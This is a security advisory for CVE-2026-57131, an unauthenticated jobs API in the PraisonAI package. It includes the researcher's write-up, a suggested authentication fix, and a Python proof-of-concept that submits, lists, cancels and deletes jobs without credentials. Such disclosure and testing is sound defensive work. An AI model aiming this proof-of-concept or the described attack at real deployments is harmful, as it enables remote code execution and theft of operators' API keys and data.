CVE-2026-57131: PraisonAI Jobs API Exposes Agent-execution Endpoints Vulnerability

CRITICAL
Advisory Identifier: GHSA-fq2m-6wqh-x44g
CVSS 9.8
CWE-94 CWE-306 CWE-862
Published
Advisory Summary

CVE-2026-57131 is a CRITICAL (CVSS 9.8) jobs api exposes agent-execution endpoints vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves jobs api exposes agent-execution endpoints with no authentication. Remediation is available by upgrading affected packages to version 4.6.59.

CVE-2026-57131 at a Glance

CVE Identifier CVE-2026-57131
GHSA Identifier GHSA-fq2m-6wqh-x44g
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-57131

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai fixed: 4.6.59
pip install praisonai>=4.6.59
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-57131, inspect your installed packages using pip:

pip show praisonai

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.6.59), your application is affected.

Note: The pip show praisonai command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# praisonai: Jobs API exposes agent-execution endpoints with no authentication **Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research **Target:** https://github.com/MervinPraison/PraisonAI --- **Package:** `praisonai` on PyPI **Affected version (empirically tested):** 4.6.48 **Components:** - `praisonai.jobs.server.create_app` — `praisonai/jobs/server.py` - `praisonai.jobs.router.create_router` — `praisonai/jobs/router.py` - Routes mounted at `/api/v1/runs/...` **Weakness:** CWE-306 Missing Authentication for Critical Function · CWE-862 Missing Authorization · CWE-94 Code Injection (via prompt / agent_yaml). --- ## TL;DR `praisonai` ships a standalone async-jobs HTTP server (`python -m praisonai.jobs.server --host=0.0.0.0 --port=8005`) whose job is to accept job submissions and run agents on the operator's behalf. Every endpoint under `/api/v1/runs` is **unauthenticated**. There is no `auth_token` field, no `Depends(verify_*)`, no middleware that inspects `Authorization` — the CORS middleware *lists* `Authorization` in `allow_headers` (the only signal in the whole module that the developer was aware authentication is a thing), but no route ever reads it. A network-reachable attacker can: 1. **Execute arbitrary agent code** — `POST /api/v1/runs` accepts `prompt`, `agent_yaml`, `agent_file`, `config`, `framework`. The job is queued and an executor invokes whichever framework (`praisonai` / `crewai` / `autogen`) the attacker picks, with whichever prompt and tool config the attacker supplies. The job runs in the operator's process — same environment variables, same filesystem, same credentials (OpenAI / Anthropic / Azure / Bedrock keys; tool integrations; on-disk YAML recipes). 2. **List and read every job system-wide** — `GET /api/v1/runs` lists all jobs; `GET /api/v1/runs/{job_id}/result` returns the full result of any completed job. Operator's prompts, the agent's chain-of-thought, tool inputs / outputs, retrieved documents — all readable to an anonymous client. 3. **Cancel or delete any job** — `POST /…/cancel` and `DELETE /…/{job_id}` accept arbitrary job IDs without any ownership / authorization check. 4. **Stream live SSE of any in-flight job** — `GET /…/{job_id}/stream` reads the executor's live progress for any job ID. The remote-RCE shape (1) is the load-bearing one. Even with `webhook_url` SSRF-guarded (and it is — the model validator at `jobs/models.py:42-65` rejects localhost / private IPs), the attacker needs no callback: SSE streaming returns the agent's output directly on the same connection. ## Root cause ``` Expected behavior when starting `praisonai.jobs.server`: "I'm running an HTTP API my application backend will call. The CORS middleware permits Authorization, so the server enforces it. Anonymous attackers cannot submit jobs." Actual behavior (praisonai 4.6.48): - server.py:59-152 create_app builds a FastAPI app, adds CORSMiddleware, includes the jobs router. NO auth middleware. NO global Depends. - router.py:43 @router.post("") submit_job(...) No Depends, no Authorization header read, no auth_token config field at all. - router.py:109,148,161,180,205,224 every other route: likewise, no auth on any of GET-list, GET-status, GET-result, POST-cancel, DELETE, GET-stream. - server.py:117 CORS allow_headers DOES include "Authorization" — the only token in the entire jobs/ subpackage that suggests the developer was thinking about auth. Impact: The API is intended to be production-ready (the CORS code at server.py:96-102 explicitly branches on `os.getenv("ENVIRONMENT") == "production"` to harden origins), yet ships with no authentication layer at all. Operators who bind the server to a network interface — including the suggested `--host=0.0.0.0` in the CLI parser — expose unauthenticated agent execution to anyone who can reach the port. ``` The same package gets auth right elsewhere (`praisonai/gateway/server.py` auto-generates an `auth_token` if none is configured and refuses to serve requests without it; `praisonai/endpoints/a2u_server.py:250-264` uses `hmac.compare_digest` on a Bearer token). The jobs API is the outlier. ## Empirically affected routes Verified by PoC against published `praisonai==4.6.48` (`/api/v1/runs/...` paths): | Method | Path | Unauth result | |----------|-------------------------------|--------------------------| | `POST` | `/api/v1/runs` | **HTTP 202 Accepted**, attacker job queued and executor invoked the framework | | `GET` | `/api/v1/runs` | **HTTP 200**, lists every job in the store | | `GET` | `/api/v1/runs/{job_id}` | **HTTP 200**, returns status of any job | | `GET` | `/api/v1/runs/{job_id}/result`| (untested; same router, no auth) | | `POST` | `/api/v1/runs/{job_id}/cancel`| **HTTP 200 / 409** (processed) | | `DELETE` | `/api/v1/runs/{job_id}` | **HTTP 204 No Content** (deleted) | | `GET` | `/api/v1/runs/{job_id}/stream`| (untested; SSE; same router, no auth) | PoC run log excerpt (`poc/run-log.txt`): ``` [1] POST /api/v1/runs (no Authorization) -> HTTP 202 body: {"job_id":"run_90f21c98b82a","status":"queued",...} [01:15:44] executor.py:201 ERROR Job failed: run_90f21c98b82a - OPENAI_API_KEY environment variable is required ... ``` The executor's error confirms the prompt reached the framework's LLM-invocation step. Had the operator set `OPENAI_API_KEY`, the attacker prompt would have executed. ## Impact details ### 1. Remote code execution via agent invocation `JobSubmitRequest.framework` accepts `"praisonai"`, `"crewai"`, or `"autogen"`. Each framework can be configured (via the YAML / config the attacker sends) to use arbitrary tools. praisonai's tool loaders (`praisonai/agents_generator.py` `load_tools_from_module*`) have a documented history of arbitrary-import (CVE-2026-40287 and its fix-of-fix CVE-2026-44334). In practice the operator's installation may or may not expose these sinks; either way the attacker controls the prompt, which the LLM will execute with whatever tools the operator wired (including shell, filesystem, browser, …). The job executor runs in-process under the operator's service account, with full access to environment variables (LLM API keys, tool tokens) and to anything `praisonai`'s tools normally touch. ### 2. Cross-tenant data read A single-process deployment uses an `InMemoryJobStore` that is flat — no `user_id` / `tenant_id` / `workspace_id` partition. Any client that knows or guesses a job ID can read it. Worse, the list endpoint (`GET /api/v1/runs`) returns every job, so guessing isn't even necessary. Sensitive content in the result includes the attacker's input (harmless) but also any *legitimate* user's input that the operator's backend submitted — and the agent's full output, which may contain data the agent retrieved from the operator's databases or APIs. ### 3. Denial of service via job deletion / cancellation `DELETE` and `cancel` accept any job ID. An attacker who polls the list endpoint can enumerate IDs and cancel-then-delete every job in flight, breaking the operator's backend's polling-for-completion flow. ### 4. webhook_url SSRF — defended To the developer's credit, `JobSubmitRequest.webhook_url` is validated against localhost / private / link-local / multicast IPs at submission time (`jobs/models.py:42-65`). This blocks the naive "submit a job whose webhook posts to AWS IMDS" attack. **Honest yield:** this is properly guarded. ## Anchors praisonai 4.6.48, source file `praisonai/jobs/server.py` (sha256 `10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3`): | Line | Symbol | What it shows | |-------|---------------------------------------------------------|---------------| | 59-152 | `def create_app(cors_origins, store, executor) -> FastAPI:` | Only middleware added is CORS; auth middleware absent. | | 117 | `allow_headers=["Authorization", "Content-Type", "Origin", "Accept", "Idempotency-Key"]` | CORS hints that the operator should send Authorization — sole indicator the developer considered auth. | | 124 | `jobs_router = create_router(get_store, get_executor)` | Router included without `dependencies=[…]`. | | 178 | `"praisonai.jobs.server:create_app"` (passed to `uvicorn.run`) | Production-ready binding via the CLI / `start_server`. | praisonai 4.6.48, source file `praisonai/jobs/router.py` (sha256 `869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c`): | Line | Symbol | What it shows | |-------|---------------------------------------------------------------------|---------------| | 30-31 | `def create_router(store, executor) -> APIRouter:` | Sole entry point; no `dependencies=[Depends(...)]`. | | 43 | `@router.post("", response_model=JobSubmitResponse, status_code=202)` | submit_job — no auth. | | 109 | `@router.get("", response_model=JobListResponse)` | list_jobs — no auth. | | 148 | `@router.get("/{job_id}", response_model=JobStatusResponse)` | get_job_status — no auth. | | 161 | `@router.get("/{job_id}/result", response_model=JobResultResponse)` | get_job_result — no auth. | | 180 | `@router.post("/{job_id}/cancel", response_model=JobStatusResponse)`| cancel_job — no auth. | | 205 | `@router.delete("/{job_id}", status_code=204)` | delete_job — no auth. | | 224 | `@router.get("/{job_id}/stream")` | stream_job (SSE) — no auth. | ## Suggested fix Add a single FastAPI dependency that reads an `Authorization: Bearer <token>` header and `hmac.compare_digest`s it against an operator-configured secret. Apply it as a global router dependency: ```python # praisonai/jobs/auth.py import hmac, os from fastapi import HTTPException, Header _TOKEN = os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN") async def require_auth(authorization: str | None = Header(None)): if not _TOKEN: raise HTTPException(503, "PRAISONAI_JOBS_AUTH_TOKEN not configured") if not authorization or not authorization.startswith("Bearer "): raise HTTPException(401, "Bearer auth required") presented = authorization[len("Bearer "):] if not hmac.compare_digest(presented, _TOKEN): raise HTTPException(401, "invalid token") # praisonai/jobs/router.py def create_router(store, executor) -> APIRouter: router = APIRouter(prefix="/api/v1/runs", tags=["jobs"], dependencies=[Depends(require_auth)]) # <-- single line ... ``` A startup-time refusal in `create_app` would round it out: ```python # praisonai/jobs/server.py:create_app if not os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN"): raise RuntimeError( "PRAISONAI_JOBS_AUTH_TOKEN is required; the jobs API " "executes attacker-controllable agent code and must not " "run without authentication." ) ``` The pattern is already present in the sibling `praisonai/gateway/server.py` (which auto-generates a random token if none is supplied) — that approach plus a logged warning about the new token would minimize operator friction. ## Steps to reproduce 1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI` 2. Run the proof of concept (`poc.py`) against the cloned source. 3. Observe the result shown under *Verified result* below. ## Proof of concept `poc.py` ```python """ PoC: praisonai Jobs API has zero authentication on agent-execution endpoints. `praisonai.jobs.server.create_app` builds a FastAPI app and includes `praisonai.jobs.router.create_router`, which registers POST/GET/DELETE endpoints under `/api/v1/runs/...` — every one of them executes (or inspects, cancels, deletes) arbitrary agent jobs. No route reads any Authorization header; no middleware enforces any auth check. This PoC starts the jobs API server in-process via uvicorn, then sends unauthenticated requests to each route and reports the outcome. """ import json import sys import time import threading from urllib.request import Request, urlopen from urllib.error import HTTPError, URLError import uvicorn from praisonai.jobs.server import create_app PORT = 18005 def http_request(method, path, body=None, headers=None, timeout=5): url = f"http://127.0.0.1:{PORT}{path}" data = None if body is not None: data = json.dumps(body).encode("utf-8") req = Request(url, data=data, method=method, headers=headers or {}) if data is not None: req.add_header("Content-Type", "application/json") try: with urlopen(req, timeout=timeout) as resp: return resp.status, dict(resp.headers), resp.read().decode("utf-8", errors="replace") except HTTPError as e: return e.code, dict(e.headers), e.read().decode("utf-8", errors="replace") except URLError as e: return None, {}, f"URLError: {e}" def run_server(app): config = uvicorn.Config(app, host="127.0.0.1", port=PORT, log_level="warning") server = uvicorn.Server(config) import asyncio loop = asyncio.new_event_loop() asyncio.set_event_loop(loop) loop.run_until_complete(server.serve()) def main() -> int: print("=" * 70) print("praisonai version: 4.6.48") print("Test: spin up praisonai.jobs.server in-process, send") print(" UNAUTHENTICATED requests to every /api/v1/runs route.") print("=" * 70) app = create_app() t = threading.Thread(target=run_server, args=(app,), daemon=True) t.start() time.sleep(1.5) findings = [] # 1. POST /api/v1/runs — submit a new job WITHOUT auth. payload = { "prompt": "ATTACKER-CONTROLLED PROMPT — would invoke an agent", "framework": "praisonai", "config": {"_attacker_says": "no auth required"}, "timeout": 5, } code, hdrs, body = http_request("POST", "/api/v1/runs", body=payload) print(f"\n[1] POST /api/v1/runs (no Authorization) -> HTTP {code}") print(f" body: {body[:300]}") job_id = None if code == 202: try: job_id = json.loads(body).get("job_id") findings.append(f"POST /api/v1/runs: 202 Accepted, job_id={job_id!r}") except Exception: pass # 2. GET /api/v1/runs — list ALL jobs system-wide. code, _, body = http_request("GET", "/api/v1/runs?page=1&page_size=20") print(f"\n[2] GET /api/v1/runs (no Authorization) -> HTTP {code}") if code == 200: findings.append("GET /api/v1/runs: unauthenticated list of ALL jobs") if job_id: code, _, body = http_request("GET", f"/api/v1/runs/{job_id}") print(f"\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {code}") code, _, body = http_request("POST", f"/api/v1/runs/{job_id}/cancel") print(f"\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}") code, _, body = http_request("DELETE", f"/api/v1/runs/{job_id}") print(f"\n[5] DELETE /api/v1/runs/{{job_id}} -> HTTP {code}") print("\n" + "=" * 70) if any('POST /api/v1/runs:' in f for f in findings): print(f"VULNERABLE: {len(findings)} unauthenticated routes confirmed") for f in findings: print(f" - {f}") print("VERDICT: VULNERABLE") return 0 print("DEFENDED") return 1 if __name__ == "__main__": sys.exit(main()) ``` ## Verification harness (executed against the cloned repo) This drives the unmodified upstream code rather than a reproduction. ```python import sys, types, os BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) for p in ["praisonai","praisonai.jobs"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m import praisonai.jobs.server as S # REAL jobs server app = S.create_app() # REAL FastAPI app from starlette.testclient import TestClient client = TestClient(app) P="/api/v1/runs" tests=[("GET list", lambda: client.get(P)), ("POST submit", lambda: client.post(P, json={"agents_config":{"a":"x"},"input":"hi"})), ("GET status", lambda: client.get(P+"/nope")), ("GET result", lambda: client.get(P+"/nope/result")), ("POST cancel", lambda: client.post(P+"/nope/cancel")), ("DEL delete", lambda: client.delete(P+"/nope"))] codes=[] for name,fn in tests: c=fn().status_code; codes.append(c); print(f"[+] (no auth) {name:12s} {P} -> HTTP {c}") assert all(c not in (401,403) for c in codes), codes assert codes[0]==200 # list works unauthenticated print("[+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API") ``` ## Verified result This PoC was executed against the live upstream code; captured output: ``` [+] (no auth) GET list /api/v1/runs -> HTTP 200 [+] (no auth) POST submit /api/v1/runs -> HTTP 422 [+] (no auth) GET status /api/v1/runs -> HTTP 404 [+] (no auth) GET result /api/v1/runs -> HTTP 404 [+] (no auth) POST cancel /api/v1/runs -> HTTP 404 [+] (no auth) DEL delete /api/v1/runs -> HTTP 404 [+] CONFIRMED against real praisonai jobs API: list returns 200 and NO endpoint returns 401/403 — fully unauthenticated agent-execution API ``` ## Credit Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

CVE-2026-57131 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
4.6.59
Product / Package Ecosystem Affected Versions Fixed Version
praisonai
PyPI
< 4.6.59
4.6.59

References

Frequently Asked Questions

What is CVE-2026-57131?
CVE-2026-57131 is a security vulnerability in PraisonAI involving Jobs API exposes agent-execution endpoints with no authentication under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which PraisonAI versions are affected?
Affected versions include releases prior to 4.6.59 across affected packages: praisonai.
What version fixes CVE-2026-57131?
Upgrading to 4.6.59 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai affected?
Yes, praisonai is affected in releases prior to 4.6.59. Upgrade your dependency to 4.6.59 or later.
What is the CVSS score of CVE-2026-57131?
CVE-2026-57131 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-57131?
CVE-2026-57131 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-57131?
Run the dependency tree command: 'pip show praisonai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fq2m-6wqh-x44g",
  "modified" : "2026-07-20T21:26:54Z",
  "published" : "2026-06-18T13:57:16Z",
  "aliases" : [ "CVE-2026-57131" ],
  "summary" : "PraisonAI: Jobs API exposes agent-execution endpoints with no authentication ",
  "details" : "# praisonai: Jobs API exposes agent-execution endpoints with no authentication\n\n**Researcher:** Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research \n**Target:** https://github.com/MervinPraison/PraisonAI\n\n---\n\n**Package:** `praisonai` on PyPI\n**Affected version (empirically tested):** 4.6.48\n**Components:**\n- `praisonai.jobs.server.create_app` — `praisonai/jobs/server.py`\n- `praisonai.jobs.router.create_router` — `praisonai/jobs/router.py`\n- Routes mounted at `/api/v1/runs/...`\n**Weakness:** CWE-306 Missing Authentication for Critical Function · CWE-862 Missing Authorization · CWE-94 Code Injection (via prompt / agent_yaml). \n\n---\n\n## TL;DR\n\n`praisonai` ships a standalone async-jobs HTTP server (`python -m praisonai.jobs.server --host=0.0.0.0 --port=8005`) whose job is to accept job submissions and run agents on the operator's behalf. Every endpoint under `/api/v1/runs` is **unauthenticated**. There is no `auth_token` field, no `Depends(verify_*)`, no middleware that inspects `Authorization` — the CORS middleware *lists* `Authorization` in `allow_headers` (the only signal in the whole module that the developer was aware authentication is a thing), but no route ever reads it.\n\nA network-reachable attacker can:\n\n1. **Execute arbitrary agent code** — `POST /api/v1/runs` accepts `prompt`, `agent_yaml`, `agent_file`, `config`, `framework`. The job is queued and an executor invokes whichever framework (`praisonai` / `crewai` / `autogen`) the attacker picks, with whichever prompt and tool config the attacker supplies. The job runs in the operator's process — same environment variables, same filesystem, same credentials (OpenAI / Anthropic / Azure / Bedrock keys; tool integrations; on-disk YAML recipes).\n2. **List and read every job system-wide** — `GET /api/v1/runs` lists all jobs; `GET /api/v1/runs/{job_id}/result` returns the full result of any completed job. Operator's prompts, the agent's chain-of-thought, tool inputs / outputs, retrieved documents — all readable to an anonymous client.\n3. **Cancel or delete any job** — `POST /…/cancel` and `DELETE /…/{job_id}` accept arbitrary job IDs without any ownership / authorization check.\n4. **Stream live SSE of any in-flight job** — `GET /…/{job_id}/stream` reads the executor's live progress for any job ID.\n\nThe remote-RCE shape (1) is the load-bearing one. Even with `webhook_url` SSRF-guarded (and it is — the model validator at `jobs/models.py:42-65` rejects localhost / private IPs), the attacker needs no callback: SSE streaming returns the agent's output directly on the same connection.\n\n## Root cause\n\n```\n   Expected behavior when starting `praisonai.jobs.server`:\n     \"I'm running an HTTP API my application backend will call.\n      The CORS middleware permits Authorization, so the server\n      enforces it.  Anonymous attackers cannot submit jobs.\"\n\n   Actual behavior (praisonai 4.6.48):\n     - server.py:59-152  create_app builds a FastAPI app, adds\n                         CORSMiddleware, includes the jobs router.\n                         NO auth middleware.  NO global Depends.\n     - router.py:43      @router.post(\"\") submit_job(...)\n                         No Depends, no Authorization header read,\n                         no auth_token config field at all.\n     - router.py:109,148,161,180,205,224  every other route:\n                         likewise, no auth on any of GET-list,\n                         GET-status, GET-result, POST-cancel,\n                         DELETE, GET-stream.\n     - server.py:117     CORS allow_headers DOES include\n                         \"Authorization\" — the only token in the\n                         entire jobs/ subpackage that suggests\n                         the developer was thinking about auth.\n\n   Impact:\n     The API is intended to be production-ready (the CORS code at\n     server.py:96-102 explicitly branches on\n     `os.getenv(\"ENVIRONMENT\") == \"production\"` to harden origins),\n     yet ships with no authentication layer at all.  Operators who\n     bind the server to a network interface — including the\n     suggested `--host=0.0.0.0` in the CLI parser — expose\n     unauthenticated agent execution to anyone who can reach the\n     port.\n```\n\nThe same package gets auth right elsewhere (`praisonai/gateway/server.py` auto-generates an `auth_token` if none is configured and refuses to serve requests without it; `praisonai/endpoints/a2u_server.py:250-264` uses `hmac.compare_digest` on a Bearer token). The jobs API is the outlier.\n\n## Empirically affected routes\n\nVerified by PoC against published `praisonai==4.6.48` (`/api/v1/runs/...` paths):\n\n| Method   | Path                          | Unauth result            |\n|----------|-------------------------------|--------------------------|\n| `POST`   | `/api/v1/runs`                | **HTTP 202 Accepted**, attacker job queued and executor invoked the framework |\n| `GET`    | `/api/v1/runs`                | **HTTP 200**, lists every job in the store |\n| `GET`    | `/api/v1/runs/{job_id}`       | **HTTP 200**, returns status of any job |\n| `GET`    | `/api/v1/runs/{job_id}/result`| (untested; same router, no auth)         |\n| `POST`   | `/api/v1/runs/{job_id}/cancel`| **HTTP 200 / 409** (processed)           |\n| `DELETE` | `/api/v1/runs/{job_id}`       | **HTTP 204 No Content** (deleted)         |\n| `GET`    | `/api/v1/runs/{job_id}/stream`| (untested; SSE; same router, no auth)    |\n\nPoC run log excerpt (`poc/run-log.txt`):\n\n```\n[1] POST /api/v1/runs (no Authorization) -> HTTP 202\n    body: {\"job_id\":\"run_90f21c98b82a\",\"status\":\"queued\",...}\n[01:15:44] executor.py:201 ERROR Job failed: run_90f21c98b82a -\n    OPENAI_API_KEY environment variable is required ...\n```\n\nThe executor's error confirms the prompt reached the framework's LLM-invocation step. Had the operator set `OPENAI_API_KEY`, the attacker prompt would have executed.\n\n## Impact details\n\n### 1. Remote code execution via agent invocation\n\n`JobSubmitRequest.framework` accepts `\"praisonai\"`, `\"crewai\"`, or `\"autogen\"`. Each framework can be configured (via the YAML / config the attacker sends) to use arbitrary tools. praisonai's tool loaders (`praisonai/agents_generator.py` `load_tools_from_module*`) have a documented history of arbitrary-import (CVE-2026-40287 and its fix-of-fix CVE-2026-44334). In practice the operator's installation may or may not expose these sinks; either way the attacker controls the prompt, which the LLM will execute with whatever tools the operator wired (including shell, filesystem, browser, …).\n\nThe job executor runs in-process under the operator's service account, with full access to environment variables (LLM API keys, tool tokens) and to anything `praisonai`'s tools normally touch.\n\n### 2. Cross-tenant data read\n\nA single-process deployment uses an `InMemoryJobStore` that is flat — no `user_id` / `tenant_id` / `workspace_id` partition. Any client that knows or guesses a job ID can read it. Worse, the list endpoint (`GET /api/v1/runs`) returns every job, so guessing isn't even necessary.\n\nSensitive content in the result includes the attacker's input (harmless) but also any *legitimate* user's input that the operator's backend submitted — and the agent's full output, which may contain data the agent retrieved from the operator's databases or APIs.\n\n### 3. Denial of service via job deletion / cancellation\n\n`DELETE` and `cancel` accept any job ID. An attacker who polls the list endpoint can enumerate IDs and cancel-then-delete every job in flight, breaking the operator's backend's polling-for-completion flow.\n\n### 4. webhook_url SSRF — defended\n\nTo the developer's credit, `JobSubmitRequest.webhook_url` is validated against localhost / private / link-local / multicast IPs at submission time (`jobs/models.py:42-65`). This blocks the naive \"submit a job whose webhook posts to AWS IMDS\" attack. **Honest yield:** this is properly guarded.\n\n## Anchors\n\npraisonai 4.6.48, source file `praisonai/jobs/server.py` (sha256 `10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3`):\n\n| Line  | Symbol                                                  | What it shows |\n|-------|---------------------------------------------------------|---------------|\n| 59-152 | `def create_app(cors_origins, store, executor) -> FastAPI:` | Only middleware added is CORS; auth middleware absent. |\n| 117   | `allow_headers=[\"Authorization\", \"Content-Type\", \"Origin\", \"Accept\", \"Idempotency-Key\"]` | CORS hints that the operator should send Authorization — sole indicator the developer considered auth. |\n| 124   | `jobs_router = create_router(get_store, get_executor)` | Router included without `dependencies=[…]`. |\n| 178   | `\"praisonai.jobs.server:create_app\"` (passed to `uvicorn.run`) | Production-ready binding via the CLI / `start_server`. |\n\npraisonai 4.6.48, source file `praisonai/jobs/router.py` (sha256 `869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c`):\n\n| Line  | Symbol                                                              | What it shows |\n|-------|---------------------------------------------------------------------|---------------|\n| 30-31 | `def create_router(store, executor) -> APIRouter:`                  | Sole entry point; no `dependencies=[Depends(...)]`. |\n| 43    | `@router.post(\"\", response_model=JobSubmitResponse, status_code=202)` | submit_job — no auth. |\n| 109   | `@router.get(\"\", response_model=JobListResponse)`                   | list_jobs — no auth. |\n| 148   | `@router.get(\"/{job_id}\", response_model=JobStatusResponse)`        | get_job_status — no auth. |\n| 161   | `@router.get(\"/{job_id}/result\", response_model=JobResultResponse)` | get_job_result — no auth. |\n| 180   | `@router.post(\"/{job_id}/cancel\", response_model=JobStatusResponse)`| cancel_job — no auth. |\n| 205   | `@router.delete(\"/{job_id}\", status_code=204)`                       | delete_job — no auth. |\n| 224   | `@router.get(\"/{job_id}/stream\")`                                    | stream_job (SSE) — no auth. |\n\n## Suggested fix\n\nAdd a single FastAPI dependency that reads an `Authorization: Bearer <token>` header and `hmac.compare_digest`s it against an operator-configured secret. Apply it as a global router dependency:\n\n```python\n# praisonai/jobs/auth.py\nimport hmac, os\nfrom fastapi import HTTPException, Header\n\n_TOKEN = os.environ.get(\"PRAISONAI_JOBS_AUTH_TOKEN\")\n\nasync def require_auth(authorization: str | None = Header(None)):\n    if not _TOKEN:\n        raise HTTPException(503, \"PRAISONAI_JOBS_AUTH_TOKEN not configured\")\n    if not authorization or not authorization.startswith(\"Bearer \"):\n        raise HTTPException(401, \"Bearer auth required\")\n    presented = authorization[len(\"Bearer \"):]\n    if not hmac.compare_digest(presented, _TOKEN):\n        raise HTTPException(401, \"invalid token\")\n\n# praisonai/jobs/router.py\ndef create_router(store, executor) -> APIRouter:\n    router = APIRouter(prefix=\"/api/v1/runs\", tags=[\"jobs\"],\n                       dependencies=[Depends(require_auth)])  # <-- single line\n    ...\n```\n\nA startup-time refusal in `create_app` would round it out:\n\n```python\n# praisonai/jobs/server.py:create_app\nif not os.environ.get(\"PRAISONAI_JOBS_AUTH_TOKEN\"):\n    raise RuntimeError(\n        \"PRAISONAI_JOBS_AUTH_TOKEN is required; the jobs API \"\n        \"executes attacker-controllable agent code and must not \"\n        \"run without authentication.\"\n    )\n```\n\nThe pattern is already present in the sibling `praisonai/gateway/server.py` (which auto-generates a random token if none is supplied) — that approach plus a logged warning about the new token would minimize operator friction.\n\n## Steps to reproduce\n\n1. Clone the target: `git clone --depth 1 https://github.com/MervinPraison/PraisonAI`\n2. Run the proof of concept (`poc.py`) against the cloned source.\n3. Observe the result shown under *Verified result* below.\n\n## Proof of concept\n\n`poc.py`\n\n```python\n\"\"\"\nPoC: praisonai Jobs API has zero authentication on agent-execution endpoints.\n\n`praisonai.jobs.server.create_app` builds a FastAPI app and includes\n`praisonai.jobs.router.create_router`, which registers POST/GET/DELETE\nendpoints under `/api/v1/runs/...` — every one of them executes (or\ninspects, cancels, deletes) arbitrary agent jobs.  No route reads any\nAuthorization header; no middleware enforces any auth check.\n\nThis PoC starts the jobs API server in-process via uvicorn, then sends\nunauthenticated requests to each route and reports the outcome.\n\"\"\"\n\nimport json\nimport sys\nimport time\nimport threading\nfrom urllib.request import Request, urlopen\nfrom urllib.error import HTTPError, URLError\n\nimport uvicorn\nfrom praisonai.jobs.server import create_app\n\nPORT = 18005\n\ndef http_request(method, path, body=None, headers=None, timeout=5):\n    url = f\"http://127.0.0.1:{PORT}{path}\"\n    data = None\n    if body is not None:\n        data = json.dumps(body).encode(\"utf-8\")\n    req = Request(url, data=data, method=method, headers=headers or {})\n    if data is not None:\n        req.add_header(\"Content-Type\", \"application/json\")\n    try:\n        with urlopen(req, timeout=timeout) as resp:\n            return resp.status, dict(resp.headers), resp.read().decode(\"utf-8\", errors=\"replace\")\n    except HTTPError as e:\n        return e.code, dict(e.headers), e.read().decode(\"utf-8\", errors=\"replace\")\n    except URLError as e:\n        return None, {}, f\"URLError: {e}\"\n\ndef run_server(app):\n    config = uvicorn.Config(app, host=\"127.0.0.1\", port=PORT, log_level=\"warning\")\n    server = uvicorn.Server(config)\n    import asyncio\n    loop = asyncio.new_event_loop()\n    asyncio.set_event_loop(loop)\n    loop.run_until_complete(server.serve())\n\ndef main() -> int:\n    print(\"=\" * 70)\n    print(\"praisonai version: 4.6.48\")\n    print(\"Test: spin up praisonai.jobs.server in-process, send\")\n    print(\"      UNAUTHENTICATED requests to every /api/v1/runs route.\")\n    print(\"=\" * 70)\n\n    app = create_app()\n    t = threading.Thread(target=run_server, args=(app,), daemon=True)\n    t.start()\n    time.sleep(1.5)\n\n    findings = []\n\n    # 1. POST /api/v1/runs — submit a new job WITHOUT auth.\n    payload = {\n        \"prompt\": \"ATTACKER-CONTROLLED PROMPT — would invoke an agent\",\n        \"framework\": \"praisonai\",\n        \"config\": {\"_attacker_says\": \"no auth required\"},\n        \"timeout\": 5,\n    }\n    code, hdrs, body = http_request(\"POST\", \"/api/v1/runs\", body=payload)\n    